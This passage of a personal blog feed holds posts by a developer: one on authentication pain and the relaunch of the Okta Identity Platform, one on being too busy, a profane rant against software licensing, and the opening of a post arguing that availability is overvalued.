&lt;li>Handling billing (for paid services)&lt;/li>
&lt;li>Covering all odd edge-cases that a user might run into (404 pages, mobile
design, etc.)&lt;/li>
&lt;/ul>
&lt;p>My typical workflow (as a backend developer) is to get the core functionality
working, then refactor relentlessly until it meets my personal quality
standards. After that&amp;rsquo;s done, I&amp;rsquo;ll start working on the customer facing website.&lt;/p>
&lt;p>This is where I run into problems. Every. Single. Time.&lt;/p>
&lt;p>After I throw together a basic bootstrap template, I choke when designing the
user flows:&lt;/p>
&lt;ul>
&lt;li>User registration&lt;/li>
&lt;li>User login&lt;/li>
&lt;li>Password reset&lt;/li>
&lt;li>User permissions&lt;/li>
&lt;/ul>
&lt;p>You know: authentication and authorization.&lt;/p>
&lt;p>It&amp;rsquo;s something that &amp;ldquo;sounds&amp;rdquo; so easy to do, but always ends up frustrating me in
every possible way. I&amp;rsquo;m surprised more people in the software world don&amp;rsquo;t
complain about it.&lt;/p>
&lt;p>If something so fundamental and so critically important to almost every single
website was as incredibly hard to implement and figure out as authentication,
you can bet your ass there&amp;rsquo;d be half-a-million &lt;a href="https://www.reddit.com/r/programming/" title="Reddit Programming">r/programming&lt;/a> and
&lt;a href="https://news.ycombinator.com/" title="Hacker News">Hacker News&lt;/a> threads about it in a heartbeat.&lt;/p>
&lt;p>If you woke up tomorrow and discovered that something as simple as implementing
a contact page on your website took more than 40 hours to implement, you&amp;rsquo;d
probably freak out.&lt;/p>
&lt;p>&amp;ldquo;What is going on?! Why is this so hard? I thought this only took a minute.
FUCK!&amp;rdquo;&lt;/p>
&lt;p>That&amp;rsquo;s the way I&amp;rsquo;ve been feeling about authentication for the last 15 years or
so. Over all the time I&amp;rsquo;ve spent programming, authentication and authorization
are still as complex as ever. Maybe even moreso.&lt;/p>
&lt;p>Back in the day, the only sort of authentication you really had to worry about
as a developer was simple username/password authentication to a webpage. The
idea was relatively simple:&lt;/p>
&lt;ul>
&lt;li>A user will send you their username/password&lt;/li>
&lt;li>You hash the user&amp;rsquo;s password (to keep it safe), and store it in a database&lt;/li>
&lt;li>When the user logs in, you compare their username/password with the username
and hashed password in the database to log them in&lt;/li>
&lt;/ul>
&lt;p>While you still had to worry about things like database security, SSL, password
hashing, etc. &amp;ndash; the concept was at least easy to grasp and understand.&lt;/p>
&lt;p>Nowadays things are significantly more complicated. For any given project you
might need to authenticate:&lt;/p>
&lt;ul>
&lt;li>A user to a simple server-side web page&lt;/li>
&lt;li>A user to a client-side web page&lt;/li>
&lt;li>A user to a third party provider (like Facebook, Google, etc.)&lt;/li>
&lt;li>A program to an API&lt;/li>
&lt;/ul>
&lt;p>Each form of authentication requires different trade-offs, and potentially
costly decisions.&lt;/p>
&lt;p>Logging a user into a traditional server-side web page is mostly a solved
problem. Web frameworks support secure user sessions, user serialization, and
lots more. Depending on the programming language/web framework you&amp;rsquo;re using,
however, you might be in for a lot of work. Not every language/framework is
created equal.&lt;/p>
&lt;p>If you&amp;rsquo;re a Node.js developer, for instance, you&amp;rsquo;ll likely find that trying to
authenticate a user into even the most simple web application can become a
painful experience in low-level security concepts.&lt;/p>
&lt;p>Most Node applications use the &lt;a href="https://github.com/jaredhanson/passport" title="Passport.js">passport library&lt;/a> to handle authentication,
and end up:&lt;/p>
&lt;ul>
&lt;li>Setting up and configuring their own session support&lt;/li>
&lt;li>Hashing their own user passwords&lt;/li>
&lt;li>Writing their own user serialization/deserialization logic&lt;/li>
&lt;li>And lots more&lt;/li>
&lt;/ul>
&lt;p>It seems insane to me that in 2017, if I want to build even a simple website
that supports user registration and login, I&amp;rsquo;m still required to know and
understand low level authentication concepts as well as implement these concepts
in a secure and reliable way to protect the most critical data in my
application: my users&amp;rsquo; personal information.&lt;/p>
&lt;p>And that may not sound like a lot of work at first: I&amp;rsquo;m certainly guilty of
thinking that. There have been many occasions where I&amp;rsquo;ve said to myself:&lt;/p>
&lt;p>&amp;ldquo;Oh, that doesn&amp;rsquo;t sound so hard! I know a decent amount about security! I&amp;rsquo;ll set
up my session library, I&amp;rsquo;ll use the bcrypt hashing algorithm, I&amp;rsquo;ll write my user
serialization code. I can get that working in a few hours!&amp;rdquo;&lt;/p>
&lt;p>But what happens when you start implementing everything and realize:&lt;/p>
&lt;ul>
&lt;li>There are numerous options for session libraries, many of which support
different configuration options, hashing algorithms, and encryption options &amp;ndash;
which one is the right choice?&lt;/li>
&lt;li>Your choice of hashing algorithm will need to be set to the correct &amp;ldquo;work
factors&amp;rdquo; to prevent brute force attacks with current hardware constraints, and
that in a year or two this algorithm will need to be upgraded transparently to
prevent security issues?&lt;/li>
&lt;li>Your user model changes and breaks your serialization code, so you then need
to modify it?&lt;/li>
&lt;li>You realize you need to implement password reset functionality, so you plug in
an email API provider like &lt;a href="https://www.mailgun.com/" title="Mailgun">Mailgun&lt;/a>, create your
templates, and write the logic to securely enabled password reset?&lt;/li>
&lt;li>You realize you need to support login via other mechanisms than just plain old
username/password, so you start plugging in Facebook login, Google login,
etc., each of which takes a reasonable amount of effort to get started and
maintain over time?&lt;/li>
&lt;li>You realize you need to also authenticate users to your mobile app, and begin
researching OAuth2 and OpenID Connect, looking for solutions that allow you to
run a secure OAuth2 server, while at the same time making it easy to
authenticate users to this new server?&lt;/li>
&lt;li>Etc&amp;hellip; I could endlessly list all the authentication issues I&amp;rsquo;ve ran into.&lt;/li>
&lt;/ul>
&lt;p>And that doesn&amp;rsquo;t even begin to cover the massive surface area that authorization
covers &amp;ndash; namely, how do you assign user permissions, groups, and roles in an
efficient and secure way? How do you segment user data into different &amp;ldquo;tenants&amp;rdquo;
to keep customer information logically (or physically) isolated?&lt;/p>
&lt;p>What I&amp;rsquo;m getting at is this: almost every time I sit down to build the
authentication and authorization piece of my websites, mobile apps, and API
services, I get overwhelmed.&lt;/p>
&lt;p>Even when I&amp;rsquo;m building projects using a &amp;ldquo;complete&amp;rdquo; framework like Django that
gets me 90% of the way, I still have a number of concerns to worry about:&lt;/p>
&lt;ul>
&lt;li>How do I expose my users to other services in my backend?&lt;/li>
&lt;li>How do I handle &amp;ldquo;user flows&amp;rdquo; like requiring a user to click an email link to
verify their account? Or reset their password?&lt;/li>
&lt;li>How do I handle multi-factor authentication across a variety of channels?
Yubikey? SMS? Google Authenticator? Etc.?&lt;/li>
&lt;li>How do I enable single sign-on for my users into &lt;em>other&lt;/em> applications?&lt;/li>
&lt;li>How do I enable single sign-on for &lt;em>other&lt;/em> application users &lt;em>into&lt;/em> my
application?&lt;/li>
&lt;/ul>
&lt;p>And the list goes on and on.&lt;/p>
&lt;p>It doesn&amp;rsquo;t matter what programming language I use &amp;ndash; the experience is more or
less the same: I (as a developer) am expected to implement a ton of redundant
logic that is mission-critical, deals with highly sensitive information, and can
result in massive business losses if I screw it up.&lt;/p>
&lt;p>I think that is unreasonable.&lt;/p>
&lt;p>And that is why, almost four years ago now, I joined a tiny company called
&lt;a href="https://stormpath.com/" title="Stormpath">Stormpath&lt;/a>.&lt;/p>
&lt;p>At the time, I had just spent a year building and maintaining my own
authentication API service internally for a company project, and had learned a
ton about modern web security along the way. I really enjoyed working on it, and
web security quickly became one of my favorite subjects.&lt;/p>
&lt;p>When I ran into the Stormpath founders at a tech conference in SF, I initially
thought they were a weather company &amp;ndash; but what they told me was much more
interesting than the weather: they were building the first developer focused
authentication-as-a-service company.&lt;/p>
&lt;p>I was floored.&lt;/p>
&lt;p>I thought about my past experiences building this stuff myself, and how much I
learned and struggled along the way. I thought about how much time and effort
I&amp;rsquo;d put into authentication and authorization problems, and how much I
underestimated them. After just a single conversation, I knew I had to get
involved.&lt;/p>
&lt;p>I reached out to the Stormpath team and told them why I&amp;rsquo;d be a good addition,
and why I &lt;em>needed&lt;/em> to join the crusade.&lt;/p>
&lt;p>Before I knew it I was spending my days building open source security software.
I was having a blast! As we continued to iterate on the Stormpath core API
service, the developer libraries, and everything else that makes a developer
service great (docs, tools, support, etc.), we started to see some real
traction!&lt;/p>
&lt;p>Developers enjoyed using our service. When they plugged our Flask library into
their Flask web apps, it solved &lt;em>almost&lt;/em> all of their authentication problems.&lt;/p>
&lt;p>Things weren&amp;rsquo;t perfect, of course, but I was really proud of the tools we made,
and was proud that our service allowed us to simplify authentication and
authorization issues for so many developers around the world.&lt;/p>
&lt;p>Now, for the sad part of the story.&lt;/p>
&lt;p>Back in February of this year, Stormpath (the API service I had spent years of
my life caring for and nurturing) was acquired. Everyone on the team was unsure
of whether this was a good or bad thing.&lt;/p>
&lt;p>When we joined forces with &lt;a href="https://www.okta.com/" title="Okta">Okta&lt;/a>, we were nervous. Okta
acquired us to help build our initial Stormpath vision into a much larger and
more scalable company, but most of us were afraid (at least I was).&lt;/p>
&lt;p>I was afraid that we&amp;rsquo;d have to start over from scratch, and try to rebuild the
great technology we already had. I was afraid that we&amp;rsquo;d ruin the goodwill we&amp;rsquo;d
built with developers worldwide over the past few years, and burn our bridges.
And more than anything: I was afraid that we&amp;rsquo;d lose the ability to build
something truly magnificent: &lt;em>an authentication and authorization API service
that is built FOR developers BY developers&lt;/em>.&lt;/p>
&lt;p>Since the acquisition, we&amp;rsquo;ve all gone through a lot.&lt;/p>
&lt;p>We&amp;rsquo;ve made good decisions and bad. We&amp;rsquo;ve struggled to build and rebuild tools,
libraries, documentation, and more. But through all the sleepless nights we&amp;rsquo;ve
put in over the last six months, we&amp;rsquo;ve never compromised on one thing: the
original vision.&lt;/p>
&lt;p>This is why I&amp;rsquo;m genuinely excited to announce that today, we&amp;rsquo;re officially
re-launching the &lt;em>new and improved&lt;/em> &lt;a href="https://developer.okta.com/" title="Okta Identity Platform">Okta Identity Platform&lt;/a>.&lt;/p>
&lt;p>&lt;img src="https://rdegges.com/2017/authentication-still-sucks/okta-developer-screenshot.png" alt="New Okta Developer Site" title="Okta Developer Screenshot">
&lt;/p>
&lt;p>Everything has been molded to our vision, and we&amp;rsquo;re aiming to do something we
could not before: build the world&amp;rsquo;s largest authentication-as-a-service platform
for developers of all shapes and sizes.&lt;/p>
&lt;p>The new Okta Identity Platform is our attempt to make authentication and
authorization problems a relic of the past. We want to provide beautiful
developer libraries across every programming language and framework to make
adding things like&amp;hellip;&lt;/p>
&lt;ul>
&lt;li>User registration&lt;/li>
&lt;li>User login&lt;/li>
&lt;li>Password reset&lt;/li>
&lt;li>Social login&lt;/li>
&lt;li>Single Sign-On&lt;/li>
&lt;li>API authentication&lt;/li>
&lt;li>And lots more&lt;/li>
&lt;/ul>
&lt;p>&amp;hellip;a thoughtless five minute task.&lt;/p>
&lt;p>Okta handles things like user credential storage, password hashing, data
isolation, best practices, etc. If you use one of our new developer libraries,
we&amp;rsquo;ll do our very best to solve all your user management problems.&lt;/p>
&lt;p>While the Okta service isn&amp;rsquo;t perfect, and certainly has some rough edges, it&amp;rsquo;s
something we&amp;rsquo;re all incredibly passionate about, and working hard every single
day to improve. It will get better.&lt;/p>
&lt;p>So today, it&amp;rsquo;s exciting to start fresh. I&amp;rsquo;m happy to have a second chance to
build something that I love and care about.&lt;/p>
&lt;p>For me, this is personal. I&amp;rsquo;m still working on fun side projects, and I&amp;rsquo;m still
struggling through authentication problems. I won&amp;rsquo;t be satisfied until Okta
fills the void that exists in the web world right now, and provides the absolute
best platform for developers of all different types to scratch their user
management itch.&lt;/p>
&lt;p>This means we&amp;rsquo;re building the service to cater to actual developers of all
types: students, hobbyists, 10pm - 4am hackers (like myself), startups, and even
large enterprises. We&amp;rsquo;re aiming to build an extremely low-cost, usage-based
service that anyone can use without the need to commit to expensive plans and
upsells. We want to make something that WE would want to use in our next passion
project.&lt;/p>
&lt;p>For applications with fewer than 1,000 active monthly users, this means the
service will be absolutely free. For applications with more active users than
that, we&amp;rsquo;ve got inexpensive usage-based plans.&lt;/p>
&lt;p>I think it&amp;rsquo;s time for authentication to no longer suck.&lt;/p>
&lt;p>I&amp;rsquo;m happy to say that myself (and the rest of the former Stormpath team) will
still be working on what we love most, and doing our absolute best to build
something that we hope you will love as well.&lt;/p>
&lt;p>Anyhow, thanks for hearing me out. If you&amp;rsquo;re interested in trying out the new
Okta Identity Platform that I&amp;rsquo;ve been working on with the rest of the team,
please &lt;a href="https://developer.okta.com" title="Sign Up For Okta">sign up today&lt;/a> and &lt;a href="https://twitter.com/rdegges" title="Randall Degges on Twitter">hit me up&lt;/a> if you&amp;rsquo;ve got questions, comments,
or feedback.&lt;/p>
&lt;p>Finally, if you&amp;rsquo;d like to follow along with the Okta journey, we&amp;rsquo;re doing
everything we can as transparently and publicly as possible. We&amp;rsquo;ve recently
started writing on the &lt;a href="https://developer.okta.com/blog/" title="Okta Developer Blog">Okta developer blog&lt;/a>, and tweeting through our
&lt;a href="https://twitter.com/oktadev" title="Okta Developers on Twitter">Okta Developer&lt;/a> account. If you&amp;rsquo;re interested in seeing what it takes to
launch a service like this, and how we&amp;rsquo;re improving things, you may find those
interesting!&lt;/p></description></item><item><title>Too Busy</title><link>https://rdegges.com/2017/too-busy/</link><pubDate>Fri, 31 Mar 2017 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2017/too-busy/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2017/too-busy/crow-sketch.jpg" alt="Crow Sketch" title="Crow Sketch">
&lt;/p>
&lt;p>For the last handful of years I&amp;rsquo;ve been too busy to do a lot of things. Too
busy to launch new products on my free time, too busy to go on trips for fun,
and too busy to spend time with family and friends.&lt;/p>
&lt;p>I&amp;rsquo;ve spent the better part of the last few years working on company projects,
trying to leave a lasting impression with my work. While this has been
moderately successful, it&amp;rsquo;s also been a bit of a personal disappointment. I try
to hold myself to a high standard, and over the last few years I&amp;rsquo;ve consistently
fallen short of my personal goals.&lt;/p>
&lt;p>While helping make the company I work for successful is fun, it isn&amp;rsquo;t who I am.
I don&amp;rsquo;t want my identity to be a corporation. I want my identity to be &lt;em>ME&lt;/em>: a
person that has unique interests, talents, and ideas. I want people to know me
for being Randall the person, not Randall the &lt;em>&amp;lt;insert job title here&amp;gt;&lt;/em>.&lt;/p>
&lt;p>At the end of the day, everyone decides what legacy they leave behind. I want
to be remembered for all the things that make me special, not just my job.&lt;/p>
&lt;h2 id="hitting-home">Hitting Home&lt;/h2>
&lt;p>I was having lunch with a good friend several weeks ago, and the topic of hobby
projects came up. I was lamenting to him that I&amp;rsquo;ve got all these cool projects
I haven&amp;rsquo;t finished because I&amp;rsquo;ve been too busy with work and other things to
spend any time on them.&lt;/p>
&lt;p>As soon as I mumbled through my weak explanation, it instantly clicked for me
how pathetic of an excuse that is. Too busy? &lt;em>Really?!&lt;/em> How on earth is it
possible that I&amp;rsquo;ve put aside the things I enjoy most in my life and
de-prioritized them to a point where I feel guilty even talking about them?&lt;/p>
&lt;p>It was a definite moment of clarity for me.&lt;/p>
&lt;h2 id="prioritizing-your-goals">Prioritizing Your Goals&lt;/h2>
&lt;p>When you hear &lt;em>other people&lt;/em> tell you to prioritize your goals, it sounds like
such a simple concept. I&amp;rsquo;ve tried to convince myself countless times over the
last few years that I&amp;rsquo;m making progress in different areas of my life, but each
time I knew in the back of my mind that it simply wasn&amp;rsquo;t true.&lt;/p>
&lt;p>There&amp;rsquo;s a huge difference between thinking about your goals and actually
pursuing them. Actually pursuing your goals is incredibly hard work. It takes
a lot of discipline to sit down, write a detailed plan for yourself, and make
decisions &lt;em>every single day&lt;/em> that move you in the right direction.&lt;/p>
&lt;p>For the last several years, I&amp;rsquo;ve just been going with the flow: mindlessly
moving along through life, reacting to disasters when they arise, and generally
being pushed in one direction or another.&lt;/p>
&lt;p>This weekend while I&amp;rsquo;m taking a break from everything to spend some time with
family (&lt;em>it&amp;rsquo;s my 7 year wedding anniversary!&lt;/em>), I&amp;rsquo;m dedicating a lot of time to
revisiting all my goals and aspirations, and making clear plans to keep myself
feeling good and moving in the right direction.&lt;/p>
&lt;p>If you&amp;rsquo;re also finding yourself &lt;em>too busy&lt;/em> for the things you love, take a
closer look at yourself &amp;ndash; are you really &lt;em>too busy&lt;/em>, or are you just
prioritizing the wrong things?&lt;/p></description></item><item><title>I Don't Give a Shit About Licensing</title><link>https://rdegges.com/2016/i-dont-give-a-shit-about-licensing/</link><pubDate>Thu, 14 Jul 2016 00:00:00 -0700</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2016/i-dont-give-a-shit-about-licensing/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2016/i-dont-give-a-shit-about-licensing/sad-stick-figure-sketch.png" alt="Sad Stick Figure Sketch" title="Sad Stick Figure Sketch">
&lt;/p>
&lt;p>Every now and then I&amp;rsquo;m reminded of just &lt;em>how much&lt;/em> I hate software licensing.
Instead of doing what I normally do and silently complaining to myself, I
figured I&amp;rsquo;d mix things up a bit and write a good old fashioned rant &amp;gt;:)&lt;/p>
&lt;p>A few days ago I got an email from a developer working at some enormous
corporation:&lt;/p>
&lt;blockquote>
&lt;p>Hi Randall,&lt;/p>
&lt;p>I am trying to use your flask-dynamo project at &amp;lt;big corporation here&amp;gt;.
Can you please tell me what license this code is written under? I need to
send it to the legal department before I can use it.&lt;/p>
&lt;p>Please advise.&lt;/p>
&lt;/blockquote>
&lt;p>I&amp;rsquo;ve changed the wording slightly here, but hopefully you get the idea.&lt;/p>
&lt;p>Now&amp;hellip; This is a perfectly valid question. This guy works for some big company
that has very strict policies, and needs to know whether or not my code can be
&lt;em>LEGALLY&lt;/em> used at his workplace.&lt;/p>
&lt;p>That&amp;rsquo;s all fine and dandy, except for one thing: I simply don&amp;rsquo;t care about
licensing. If you told me I had to choose between picking up dog shit all day
or having another conversation about software licensing, I&amp;rsquo;d happily go pick up
dog shit. That&amp;rsquo;s how much I hate licensing.&lt;/p>
&lt;p>I find the whole discussion around software licensing to be completely
pointless. It&amp;rsquo;s one of the stupidest, most awful, and most incredibly redundant
conversations in the entire tech world. And why is that? Well&amp;hellip;&lt;/p>
&lt;p>It&amp;rsquo;s redundant because it just DOESN&amp;rsquo;T FUCKING MATTER. If you can already
find or view my code, then guess what &amp;ndash; you have the ability to use it!
Whether I want you to or not, you can already view my code, so copying pieces of
it (&lt;em>or the whole fucking thing&lt;/em>) is totally possible.&lt;/p>
&lt;p>Even if I decide to put a license on all my Github projects that says:&lt;/p>
&lt;blockquote>
&lt;p>COPYRIGHT Randall Degges. Nobody else in the world is legally allowed to use
this code or copy it in any way, shape, or form. Otherwise I&amp;rsquo;ll sue you.&lt;/p>
&lt;/blockquote>
&lt;p>It just doesn&amp;rsquo;t matter.&lt;/p>
&lt;p>I simply refuse to believe this developer works at a company where his boss
constantly reviews every single commit he makes, googling each line of code,
checking to see where he might have copied it from, and whether or not it is
legal.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you do work at a place like that: do yourself a favor and resign.
There are so many places to work where you can leave an impact, get paid
sufficiently well, and not be treated like a child.&lt;/p>
&lt;p>As a developer, the very thought of having to ask permission to use a piece of
code you can find freely online is insane. I mean, how many ways are there to
do something, after all?&lt;/p>
&lt;p>There&amp;rsquo;s really only a couple of ways to write a for loop, increment an integer,
and store some data in a database. Everything else is just details.&lt;/p>
&lt;p>The idea of having some public code that&amp;rsquo;s legally unusable is akin to a writer
not being able to use a dictionary while writing. It just doesn&amp;rsquo;t make any
sense at all.&lt;/p>
&lt;p>I mean &amp;ndash; I understand the other side of this too: you write some code and you
don&amp;rsquo;t want anyone to use it! It&amp;rsquo;s your project, after all. You thought of it,
you wrote it, and you can license it however you want to stop whoever you want
from using it, right?&lt;/p>
&lt;p>It sort of makes sense when viewed from that angle: if you&amp;rsquo;re the creator of
something, you should have control over it!&lt;/p>
&lt;p>But let&amp;rsquo;s get real for a minute: if you build something and you don&amp;rsquo;t want other
people to use it, the solution is a lot simpler than licensing: just don&amp;rsquo;t
fucking make it publicly accessible!&lt;/p>
&lt;p>Spend some damn time ensuring your code is stored privately, and not easily
accessible. Keep it on locked down servers, use Github Enterprise, or for
fuck&amp;rsquo;s sake: just run your code as a service and charge people money to use it!&lt;/p>
&lt;p>All of those are fine options.&lt;/p>
&lt;p>But whatever you do, don&amp;rsquo;t bother publishing it online with a stupid license
that tells other people they can&amp;rsquo;t use your code, because guess what: I&amp;rsquo;ll use
your code. I&amp;rsquo;ll use it, and I won&amp;rsquo;t even bother to check the license. &lt;em>And I&amp;rsquo;m
not the only one.&lt;/em>&lt;/p>
&lt;p>This is what makes the internet great. The ability to share information with
anyone, instantly, without restriction. As developers, we should be on the
absolute forefront of encouraging this sort of thing.&lt;/p>
&lt;p>After all: everything we do is built on top of thousands of layers of
abstraction of the programmers that came before us. It&amp;rsquo;s our job to contribute
forward and ensure that the next generation of developers can build cool and
powerful things in a simple way.&lt;/p>
&lt;p>And the only way that will ever happen is if we all get our heads out of our
asses, and stop acting like we own thoughts and ideas.&lt;/p>
&lt;p>Programming is a creative endeavour. If you can&amp;rsquo;t stand the idea that something
you spent time and energy creating and putting onto the &lt;em>public internet&lt;/em> can
be used by anyone else for free, then maybe this isn&amp;rsquo;t the right field for you.&lt;/p>
&lt;p>Programming, by its very nature, is something that&amp;rsquo;s meant to be shared. The
amount of complexity needed to build modern applications would not be possible
without a tremendous amount of publicly accessible code.&lt;/p>
&lt;p>Instead of viewing the code you write as &lt;em>&amp;ldquo;your property&amp;rdquo;&lt;/em>, you should instead
look at it as your child. When you create some code, you release it in the
world, and hope that it grows up to be useful to other people in some way. You
don&amp;rsquo;t keep it locked inside, and selfishly control all access to it.&lt;/p>
&lt;p>It might bring you some happiness, some sorrow, and a lot of things in between:
but it&amp;rsquo;s your &lt;em>ethical&lt;/em> responsibility to let it out into the world and let it
make its own mark.&lt;/p>
&lt;!-- raw HTML omitted -->
&lt;p>The next time you decide to publish some open source software, I&amp;rsquo;d encourage you
to seriously consider what software license you choose. If you&amp;rsquo;d like to ensure
as many people as possible can use your code without restriction, then either:&lt;/p>
&lt;ul>
&lt;li>Use a public domain license like &lt;a href="http://unlicense.org/" title="UNLICENSE">UNLICENSE&lt;/a>, or&lt;/li>
&lt;li>Don&amp;rsquo;t include a license at all.&lt;/li>
&lt;/ul>
&lt;p>By releasing your software into the public domain, you&amp;rsquo;re consciously making a
decision to make your software truly public. You&amp;rsquo;re giving ANYONE who can find
your project the right to use it however they want. This means they can copy
a piece of it, or the whole thing. They can even copy it and say they wrote
it. In short: anyone who gets a hold of it can do absolutely anything they
want with it.&lt;/p>
&lt;p>And&amp;hellip; If you have an existing project that&amp;rsquo;s been released under another
license? Maybe it&amp;rsquo;s time to consider changing things. Releasing your code into
the public domain not only helps the corporate developers who want to use your
software: it helps the entire development community world wide.&lt;/p>
&lt;p>&lt;strong>NOTE&lt;/strong>: If you are a developer trying to use a project inside a big company,
and you actually care about what license a project has, please spend a minute
actually &lt;em>looking&lt;/em> in the project to see what license it has before blindly
emailing the author of the project.&lt;/p>
&lt;p>&amp;lt;EOF&amp;gt;&lt;/p></description></item><item><title>Obsessing Over Availability is Dumb</title><link>https://rdegges.com/2015/obsessing-over-availability-is-dumb/</link><pubDate>Tue, 29 Dec 2015 00:00:00 -0800</pubDate><author>r@rdegges.com (Randall Degges)</author><guid>https://rdegges.com/2015/obsessing-over-availability-is-dumb/</guid><description>&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-sad-sketch.png" alt="Superman Sad Sketch" title="Superman Sad Sketch">
&lt;/p>
&lt;p>Over the past handful of years, as I&amp;rsquo;ve been building and working on several
very large and very public API services, I&amp;rsquo;ve noticed that almost everyone I
speak with is a &lt;em>zealot&lt;/em> for availability.&lt;/p>
&lt;blockquote>
&lt;p>The API service must be up at all times!&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Availability is the number one most important thing at our company!&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>We have an entire team of devops people working around the clock to ensure you
get five nines of availability!&lt;/p>
&lt;/blockquote>
&lt;blockquote>
&lt;p>Our customers can&amp;rsquo;t tolerate even a single second of downtime in a year!&lt;/p>
&lt;/blockquote>
&lt;p>etc&amp;hellip;&lt;/p>
&lt;p>It actually comes up &lt;em>so frequently&lt;/em> in conversation that I&amp;rsquo;ve started to
wonder if I&amp;rsquo;m not crazy for thinking that &lt;strong>obsessing over availability is
dumb&lt;/strong>. In my humble opinion, it&amp;rsquo;s not only a complete waste of time, but
also a huge drain on the tech sector in general, and one of the largest
factors causing startups to go out of business early.&lt;/p>
&lt;p>Think I&amp;rsquo;m crazy? I&amp;rsquo;m &lt;em>ok&lt;/em> with that. But first, let me explain&amp;hellip;&lt;/p>
&lt;h2 id="it-just-doesnt-matter-that-much">It Just Doesn&amp;rsquo;t Matter That Much&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-angry-sketch.png" alt="Superman Angry Sketch" title="Superman Angry Sketch">
&lt;/p>
&lt;p>For 99.99999% of [&lt;em>companies | products | websites | services&lt;/em>] out there right
now, availability really doesn&amp;rsquo;t matter all that much.&lt;/p>
&lt;p>Do you really think that your Wordpress blog is so critically important that it
needs to be up every single second of the year? The most likely answer is &lt;em>no&lt;/em>.&lt;/p>
&lt;p>The same applies to your startup company: even though you might be providing a
[&lt;em>cool | unique | valuable | important&lt;/em>] service to your customers, odds are &amp;ndash;
your customers can live without your service for a few hours every quarter, and
still get along with their lives just fine.&lt;/p>
&lt;p>Even if you&amp;rsquo;re running an API company like&amp;hellip; Let&amp;rsquo;s say: &lt;a href="https://zencoder.com/en/" title="Zencoder">Zencoder&lt;/a> (&lt;em>an
API service which transcodes video files&lt;/em>), and make 100% of your revenue from
developers building applications &lt;strong>on top&lt;/strong> of your service &amp;ndash; it still just
doesn&amp;rsquo;t matter all that much.&lt;/p>
&lt;p>In the event that your application can&amp;rsquo;t transcode a video immediately due to
Zencoder downtime, I&amp;rsquo;m sure the world won&amp;rsquo;t end and all your customers won&amp;rsquo;t
leave you.&lt;/p>
&lt;p>Zencoder going down might be slightly inconvenient, but won&amp;rsquo;t break your
business in twain.&lt;/p>
&lt;p>Now, for certain services &amp;ndash; namely things that involve real-life repercussions:&lt;/p>
&lt;ul>
&lt;li>Healthcare&lt;/li>
&lt;li>Communication systems (&lt;em>like the telephone network&lt;/em>)&lt;/li>
&lt;li>Banking&lt;/li>
&lt;/ul>
&lt;p>Of course availability is important! It&amp;rsquo;s important because having downtime
will &lt;em>dramatically&lt;/em> affect a person in ways that may not be easily fixed.&lt;/p>
&lt;p>If you place a call to 911 from your T-Mobile cell phone, and you get a
&lt;em>ring-ring-ring&lt;/em> for 30 seconds, that&amp;rsquo;s a &lt;strong>HUGE DISASTER&lt;/strong> and could result in
a lot of horrible things happening.&lt;/p>
&lt;p>But &amp;ndash; with that said, for 99.99999% of you reading this, the above is not
true.&lt;/p>
&lt;h2 id="availability-is-technically-difficult">Availability is Technically Difficult&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-scowl-sketch.png" alt="Superman Scowl Sketch" title="Superman Scowl Sketch">
&lt;/p>
&lt;p>There&amp;rsquo;s a huge misconception out there that building highly available services
is somehow &lt;em>&amp;ldquo;easy to do&amp;rdquo;&lt;/em>. This isn&amp;rsquo;t even remotely true in the slightest.&lt;/p>
&lt;p>Let&amp;rsquo;s think about what true availability means for a minute.&lt;/p>
&lt;p>If you&amp;rsquo;re building some API service that other developers will integrate into
their applications, then your service being highly available means:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>You need to have multiple web servers sitting behind a load balancer of some
sort to handle incoming HTTP requests to your API service. Your load balancer
will need to be redundant, so in the event one no longer works, another can
take over immediately.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Your load balancers themselves need to be configured in a way such that any
failed / incomplete HTTP requests will be resent from the load balancer to
another operational web server before returning a response to the end user.
This way incoming user requests are not dropped when issues occur.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Any dependent services YOUR service depends on (&lt;em>databases, caches, API
services, etc.&lt;/em>) must be fully functional and have redundant options in place,
as well as specialized fail over / retry software to handle issues when they
occur.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>When you deploy changes to your software, you need to do so in such a way that
no incoming requests (&lt;em>whether in-progress or new&lt;/em>) will be negatively
affected during the roll out. This means your deployment procedures need to
be very carefully implemented and automated, and all edge cases must be taken
into account. And don&amp;rsquo;t forget about things like database migrations,
rotating credentials, etc!&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>The above things are not easy to achieve in a technical way. The reason?
Mistakes happen at all levels: hardware, software, and most of all &amp;ndash; &lt;em>human&lt;/em>.
Trying to automate your way out of certain types of availability problems like
fail over is a very tricky game.&lt;/p>
&lt;p>Even with thousands of hours invested writing configuration management and
automation scripts, the odds of technical failure are still very high &amp;ndash; and
let&amp;rsquo;s face it: &lt;em>if something can go wrong, it will&lt;/em>.&lt;/p>
&lt;h2 id="availability-is-expensive">Availability is Expensive&lt;/h2>
&lt;p>&lt;img src="https://rdegges.com/2015/obsessing-over-availability-is-dumb/superman-question-sketch.png" alt="Superman Question Sketch" title="Superman Question Sketch">
&lt;/p>
&lt;p>So, since availability is so hard to technically achieve, what does that equate
to? You probably already guessed: &lt;em>cost&lt;/em>!&lt;/p>
&lt;p>&lt;strong>Availability is very, very expensive.&lt;/strong>&lt;/p>
&lt;p>Here&amp;rsquo;s how it costs you:&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Hiring multiple full-time operations people to help write Chef / Puppet /
Ansible / Salt rules to manage infrastructure, configure / tweak services, and
test / automate / mess around with things like fail over, clustering, and
graceful degradation.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>Having your developers spend lots of time doing the operations work
themselves, instead of writing quality code. I&amp;rsquo;ve gone this route myself in
the past, and have spent many thousands of hours doing devops work. No matter
